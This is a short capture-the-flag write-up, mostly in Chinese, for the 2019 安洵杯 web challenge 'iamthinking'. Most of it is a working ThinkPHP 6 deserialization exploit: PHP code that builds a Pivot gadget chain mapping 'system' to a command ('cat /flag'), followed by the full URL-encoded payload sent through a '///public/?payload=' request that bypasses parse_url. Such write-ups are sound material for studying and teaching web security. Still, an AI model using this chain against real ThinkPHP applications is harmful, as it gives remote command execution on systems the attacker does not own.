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iamthinking

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Challenge | 2019 | 安洵杯 | Web | iamthinking

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WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

  • 反序列化

解题思路

通过在上级目录下发现www.zip
审计源码，构造thinkphp6反序列化，同时需要绕过parse_url

EXP

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<?php
namespace think {

    use think\model\concern\Attribute;
    use think\model\concern\Conversion;
    use think\model\concern\RelationShip;


    abstract class Model
    {
        use Conversion;
        use RelationShip;
        use Attribute;

        private $lazySave;
        protected $table;
        public function __construct($obj)
        {
            $this->lazySave = true;
            $this->table = $obj;
            $this->visible = array(array('hu3sky'=>'aaa'));
            $this->relation = array("hu3sky"=>'aaa');
            $this->data = array("a"=>'cat /flag');
            $this->withAttr = array("a"=>"system");
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $visible;
    }

    trait RelationShip
    {
        private $relation;
    }

    trait Attribute
    {
        private $data;
        private $withAttr;
    }
}

namespace think\model {
    class Pivot extends \think\Model
    {
    }
}

namespace {
    $a = new think\model\Pivot('');
    $b = new think\model\Pivot($a);

    echo urlencode(serialize($b));
}
1
///public/?payload=O%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3BO%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3Bs%3A0%3A""%3Bs%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7D